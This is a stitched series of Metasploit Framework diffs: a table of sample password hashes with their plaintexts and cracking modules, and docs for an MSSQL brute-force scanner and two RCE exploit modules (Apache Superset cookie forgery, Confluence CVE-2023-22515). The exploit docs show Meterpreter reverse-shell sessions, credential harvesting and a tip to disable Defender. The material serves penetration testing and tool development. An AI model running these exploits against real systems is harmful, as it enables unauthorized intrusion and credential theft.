| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
|
||||
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
|
||||
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | |
|
||||
| | Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this | | | |
|
||||
|---|--------------------------------------|--------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|--------------------|---------------------------------------------------|-----------------------------------------------------------|---|---|---|
|
||||
| | DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux | | | |
|
||||
| | MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux | | | |
|
||||
| | BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux | | | |
|
||||
| | SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux | | | |
|
||||
| | SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux | | | |
|
||||
| | Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux | | | |
|
||||
| | Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows | | | |
|
||||
| | NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows | | | |
|
||||
| | MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases | | | |
|
||||
| | HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None | | | |
|
||||
| | SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | | |
|
||||
| | pbkdf2-sha256 | admin | `$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU` | admin | PBKDF2-HMAC-SHA256 | exploit/linux/http/apache_superset_cookie_sig_rce | auxiliary/analyze/webapp | | | |
|
||||
|
||||
# Adding a New Hash
|
||||
|
||||
Only hashes which were found in Metasploit were added to the hash id library, and the other functions. New hashes are developed often, and new modules which find a new type of hash will most definitely be created. So what are the steps to add a new hash type to Metasploit?
|
||||
|
||||
1. Add a new identify algorithm to: [framework/hashes/identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
|
||||
1. Add a new identify algorithm to: [framework/hashes.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
|
||||
1. Add the hash to the spec to ensure it works right now, and in future updates: [framework/hashes/identify_spec.rb](https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/metasploit/framework/hashes/identify_spec.rb)
|
||||
1. Make sure the hashes are saved in the DB in the JTR format. A good source to identify what the hashes look like is [pentestmonkey](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats).
|
||||
1. If applicable, add it into the appropriate cracker module (or create a new one). Example for [Windows related hashes](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/analyze/crack_windows.rb).
|
||||
|
||||
@@ -41,3 +41,18 @@ These are just suggestions, but it'd be nice if the KB had these sections:
|
||||
- **Verification Steps** - Tells users how to use the module and what the expected results are from running the module.
|
||||
- **Options** - Provides descriptions of all the options that can be run with the module. Additionally, clearly identify the options that are required.
|
||||
- **Scenarios** - Provides sample usage and describes caveats that the user may need to be aware of when running the module.
|
||||
|
||||
### Before you submit your PR: msftidy_docs.rb
|
||||
|
||||
A documentation file can be passed as a positional argument to `metasploit-framework/tools/dev/msftidy_docs.rb` and will
|
||||
highlight formatting errors the docs file might contain. Once all the errors and warnings thrown by `msftidy_docs.rb` have
|
||||
been resolved, the documentation file is ready for submission.
|
||||
|
||||
```
|
||||
➜ metasploit-framework git:(upstream-master) ✗ ruby tools/dev/msftidy_docs.rb documentation/modules/exploit/linux/http/panos_op_cmd_exec.md
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [INFO] Missing Section: ## Options
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] Please add a newline at the end of the file
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] H2 headings in incorrect order. Should be: Vulnerable Application, Verification Steps/Module usage, Options, Scenarios
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:50 - [WARNING] Should use single backquotes (`) for single line literals instead of triple backquotes (```)
|
||||
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:53 - [WARNING] Spaces at EOL
|
||||
```
|
||||
@@ -6,7 +6,7 @@ These cookies can therefore be forged. If a user is able to login to the site, t
|
||||
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
|
||||
credentials saved in Apache Superset.
|
||||
|
||||
## App Install
|
||||
### App Install
|
||||
|
||||
```
|
||||
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
|
||||
@@ -30,6 +30,7 @@ If you want any database credentials to be pulled, you'll need to configure a da
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/apache_superset_priv_esc`
|
||||
1. Do: `set rhost [ip]`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module simply queries the MSSQL instance for a specific user/pass (default is sa with blank).
|
||||
|
||||
### Setup
|
||||
A docker container can be spun up with the following command to test this module:
|
||||
`docker run -e 'ACCEPT_EULA=Y' -e 'MSSQL_SA_PASSWORD=N0tpassword!' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2022-latest`
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. Do: `use scanner/mssql/mssql_login`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `run`
|
||||
5. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing users, one per line.
|
||||
|
||||
### PASS_FILE
|
||||
|
||||
File containing passwords, one per line
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf > use scanner/mssql/mssql_login
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > set password N0tpassword!
|
||||
password => N0tpassword!
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > options
|
||||
|
||||
Module options (auxiliary/scanner/mssql/mssql_login):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
|
||||
BLANK_PASSWORDS true no Try blank passwords for all users
|
||||
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
|
||||
DB_ALL_CREDS false no Try each user/password couple stored in the current database
|
||||
DB_ALL_PASS false no Add all passwords in the current database to the list
|
||||
DB_ALL_USERS false no Add all users in the current database to the list
|
||||
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
|
||||
PASSWORD N0tpassword! no A specific password to authenticate with
|
||||
PASS_FILE no File containing passwords, one per line
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 1433 yes The target port (TCP)
|
||||
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
|
||||
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME sa no A specific username to authenticate as
|
||||
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
|
||||
USER_AS_PASS false no Try the username as the password for all users
|
||||
USER_FILE no File containing usernames, one per line
|
||||
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
|
||||
VERBOSE true yes Whether to print output for all attempts
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > run
|
||||
|
||||
[*] 127.0.0.1:1433 - 127.0.0.1:1433 - MSSQL - Starting authentication scanner.
|
||||
[!] 127.0.0.1:1433 - No active DB -- Credential data will not be saved!
|
||||
[+] 127.0.0.1:1433 - 127.0.0.1:1433 - Login Successful: WORKSTATION\sa:N0tpassword!
|
||||
[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) >
|
||||
```
|
||||
@@ -0,0 +1,141 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
|
||||
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
|
||||
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
|
||||
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
|
||||
set for that dashboard within Superset's database which will trigger the RCE.
|
||||
|
||||
An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.
|
||||
|
||||
### App Install
|
||||
|
||||
```
|
||||
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
|
||||
sudo docker exec -it superset superset fab create-admin \
|
||||
--username admin \
|
||||
--firstname Superset \
|
||||
--lastname Admin \
|
||||
--email admin@superset.com \
|
||||
--password admin
|
||||
sudo docker exec -it superset superset db upgrade
|
||||
sudo docker exec -it superset superset init
|
||||
```
|
||||
|
||||
Login to the app, click 'list users' under 'Settings', then click '+'. Make a new user with 'Public' as the role.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/linux/http/apache_superset_cookie_sig_rce`
|
||||
1. Do: `set rhost [ip]`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username to authenticate as. Required with no default.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password for the specified username. Required with no default.
|
||||
|
||||
### ADMIN_ID
|
||||
|
||||
The ID of an admin account. Defaults to `1`
|
||||
|
||||
### SECRET_KEYS_FILE
|
||||
|
||||
A file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/superset_secret_keys.txt`
|
||||
|
||||
### DATABASE
|
||||
|
||||
Location on the target of the Superset database. Defaults to the Docker location `/app/superset_home/superset.db`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache Superset 2.0.0 on Docker
|
||||
|
||||
```
|
||||
resource (superset_rce.rb)> use exploit/linux/http/apache_superset_cookie_sig_rce
|
||||
[*] Using configured payload python/meterpreter/reverse_tcp
|
||||
resource (superset_rce.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (superset_rce.rb)> set verbose true
|
||||
verbose => true
|
||||
resource (superset_rce.rb)> set lhost 2.2.2.2
|
||||
lhost => 2.2.2.2
|
||||
resource (superset_rce.rb)> set username user
|
||||
username => user
|
||||
resource (superset_rce.rb)> set password user
|
||||
password => user
|
||||
resource (superset_rce.rb)> set proxies HTTP:127.0.0.1:8080
|
||||
proxies => HTTP:127.0.0.1:8080
|
||||
resource (superset_rce.rb)> set ReverseAllowProxy true
|
||||
ReverseAllowProxy => true
|
||||
resource (superset_rce.rb)> rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 2.2.2.2:4444
|
||||
[*] Attempting login
|
||||
[*] Grabbing CSRF token
|
||||
[*] 127.0.0.1:8088 - CSRF Token: IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEi.ZQSodw.C7YXKC5pMw0rGvnJcqVT5ZFkXYQ
|
||||
[*] 127.0.0.1:8088 - Attempting login
|
||||
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwNjUEKgzAQRa8SZh2KTa1Vb-Cu-yIyJjMxdIiQhJYi3r1ZPfjw_jtgYcG8UYbxdYAqFfDFFEP0oGGKH5TglOw-xIt6CmEmVdJPoce6wHzOul4kyhuMjJJJg82Jl7K_KcIIHQ-37m5643htTftwDbGha0_WNThYpm5FZIc1JrtFoepU8fwDUO8x4g.ZQSodw.VE5Y8HQDKavvXpMdUVnZrfqiokI;
|
||||
[*] 127.0.0.1:8088 - Checking secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
|
||||
[-] 127.0.0.1:8088 - Incorrect secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
|
||||
[*] 127.0.0.1:8088 - Checking secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[*] 127.0.0.1:8088 - Modified cookie: {"_flashes"=>[{" t"=>["warning", "Invalid login. Please try again."]}], "_fresh"=>false, "csrf_token"=>"6f9365282dfb4247d0ef2e18ecd0a9cfe6baafda", "locale"=>"en", "user_id"=>1}
|
||||
[*] 127.0.0.1:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
|
||||
[*] 127.0.0.1:8088 - New signed cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkludmFsaWQgbG9naW4uIFBsZWFzZSB0cnkgYWdhaW4uIl19XSwiX2ZyZXNoIjpmYWxzZSwiY3NyZl90b2tlbiI6IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZQSodw.tqvbZGeoJr4hx6k8CVM_XA-_AAE
|
||||
[+] 127.0.0.1:8088 - Cookie validated to user: admin
|
||||
[*] Attempting to pull user creds from db
|
||||
[+] Successfully created db mapping with id: 2
|
||||
[*] Creating new sqllab tab
|
||||
[+] Using tab: 2
|
||||
[*] Setting latest query id
|
||||
[*] Harvesting superset user creds
|
||||
[+] Superset Creds
|
||||
==============
|
||||
|
||||
Username Password
|
||||
-------- --------
|
||||
admin $pbkdf2-sha256$260000$R203aXBtQVh3ZUlFVmREdQ$/Sivpafs38x.LXzDbxhSsvjfZC5pKpuPONqzOWnsgrk
|
||||
|
||||
[*] Attempting RCE
|
||||
[*] Creating new dashboard
|
||||
[+] New Dashboard id: 2
|
||||
[*] Grabbing permalink to new dashboard to trigger payload later
|
||||
[+] Dashboard permalink key: aojEJOPXQyB
|
||||
[*] Grabbing values to reset later
|
||||
[*] Setting latest query id
|
||||
[*] Setting latest query id
|
||||
[*] Uploading payload
|
||||
[*] Triggering payload
|
||||
[*] Sending stage (24772 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:57716) at 2023-09-15 14:54:49 -0400
|
||||
[*] Unsetting RCE Payloads
|
||||
[*] Restoring row ID 1
|
||||
[*] Setting latest query id
|
||||
[+] Successfully restored
|
||||
[*] Restoring row ID 3
|
||||
[*] Setting latest query id
|
||||
[+] Successfully restored
|
||||
[*] Deleting dashboard
|
||||
[*] Deleting sqllab tab
|
||||
[*] Deleting database mapping
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: superset
|
||||
meterpreter > sysinfo
|
||||
Computer : 2f7ff4a15c36
|
||||
OS : Linux 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21)
|
||||
Architecture : x64
|
||||
System Language : C
|
||||
Meterpreter : python/linux
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
|
||||
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
|
||||
Java objects to be modified at run time. The exploit will create a new administrator user and upload a
|
||||
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
|
||||
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
|
||||
|
||||
For a full technical analysis of the vulnerability read the
|
||||
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis).
|
||||
|
||||
## Testing
|
||||
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download.).
|
||||
By default the server will listen for HTTP connections on port 8090. This exploit module was tested against Confluence
|
||||
8.5.1 running on Windows Server 2022.
|
||||
|
||||
## Verification Steps
|
||||
Note: Disable Defender if you are using the default payloads.
|
||||
|
||||
Steps:
|
||||
1. Start msfconsole
|
||||
2. `use exploit/multi/http/atlassian_confluence_rce_cve_2023_22515`
|
||||
3. `set RHOST 192.168.86.50`
|
||||
4. `check`
|
||||
5. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The base path for the target servers Confluence installation. By default this option is set to `/`.
|
||||
|
||||
### CONFLUENCE_TARGET_ENDPOINT
|
||||
|
||||
This is the endpoint used to trigger the vulnerability, and must be reachable by an un authenticated HTTP(S) POST
|
||||
request. Any Confluence Action endpoint that extends the base class `ConfluenceActionSupport` is likely to work. Two
|
||||
example endpoints that have been tested are `server-info.action` and `ajax/spaceavailable.action`. By default this
|
||||
option is set to `server-info.action`.
|
||||
|
||||
### CONFLUENCE_PLUGIN_TIMEOUT
|
||||
|
||||
The exploit will install a malicious plugin into the Confluence server. Plugin installation is performed asynchronously
|
||||
and we must poll the server to find out when installation has completed. This option governs the maximum amount
|
||||
of time to wait for installation to complete. The timeout value is in seconds and by default this option is set to `30`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Automatic
|
||||
```
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > show options
|
||||
|
||||
Module options (exploit/multi/http/atlassian_confluence_rce_cve_2023_22515):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONFLUENCE_PLUGIN_TIMEOUT 30 yes The timeout to wait when installing a plugin
|
||||
CONFLUENCE_TARGET_ENDPOINT server-info.action yes The endpoint used to trigger the vulnerability.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
|
||||
ploit.html
|
||||
RPORT 8090 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes Base path for Confluence
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > check
|
||||
[*] 192.168.86.50:8090 - The target appears to be vulnerable. Atlassian Confluence 8.5.1
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Atlassian Confluence 8.5.1
|
||||
[*] Setting the application configuration's setupComplete to false via endpoint: /server-info.action
|
||||
[*] Creating a new administrator user account...
|
||||
[*] Created zskghlfv:NDqbcj4N
|
||||
[*] Adding a malicious plugin...
|
||||
[*] Waiting for plugin to be installed...
|
||||
[*] Triggering payload...
|
||||
[*] Deleting plugin...
|
||||
[*] Sending stage (57692 bytes) to 192.168.86.50
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:56898) at 2023-10-16 20:41:57 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN-V28QNSO2H05$
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 10.0 (amd64)
|
||||
Architecture : x64
|
||||
System Language : en_IE
|
||||
Meterpreter : java/windows
|
||||
meterpreter > pwd
|
||||
C:\Program Files\Atlassian\Confluence
|
||||
meterpreter >
|
||||
```
|
||||
@@ -124,6 +124,8 @@ module Metasploit
|
||||
when hash =~ /^\*?[\da-fA-F]{32}\*[\da-fA-F]{32}$/
|
||||
# we accept the beginning star as optional
|
||||
return 'vnc'
|
||||
when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i
|
||||
return 'pbkdf2-sha256'
|
||||
end
|
||||
''
|
||||
end
|
||||
|
||||
@@ -217,6 +217,8 @@ module Metasploit
|
||||
'1711'
|
||||
when 'Raw-MD5u'
|
||||
'30'
|
||||
when 'pbkdf2-sha256'
|
||||
'10900'
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -38,6 +38,34 @@ def hash_to_hashcat(cred)
|
||||
# legacy MD5
|
||||
# T: = 160 characters
|
||||
# PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+)
|
||||
when /^pbkdf2-sha256/
|
||||
# hashmode: 10900
|
||||
# from: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
|
||||
# to: sha256:29000:Q1hzYjU5dFNMWm05QUJCTg==:s+vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU=
|
||||
|
||||
# https://hashcat.net/forum/thread-7854-post-42417.html#pid42417 ironically gives Token encoding exception
|
||||
c = cred.private.data.sub('$pbkdf2-sha256', 'sha256').split('$')
|
||||
|
||||
# This method takes a string which is likely base64 encoded
|
||||
# however, there is an arbitrary amount of = missing from the end
|
||||
# so we attempt to add = until we are able to decode it
|
||||
#
|
||||
# @param str [String] the base64-ish string
|
||||
# @return [String] the corrected string
|
||||
def add_equals_to_base64(str)
|
||||
['', '=', '=='].each do |equals|
|
||||
to_test = "#{str}#{equals}"
|
||||
Base64.strict_decode64(to_test)
|
||||
return to_test
|
||||
rescue ArgumentError
|
||||
next
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
c[2] = add_equals_to_base64(c[2].gsub('.', '+')) # pad back out
|
||||
c[3] = add_equals_to_base64(c[3].gsub('.', '+')) # pad back out
|
||||
return c.join(':')
|
||||
when /hmac-md5/
|
||||
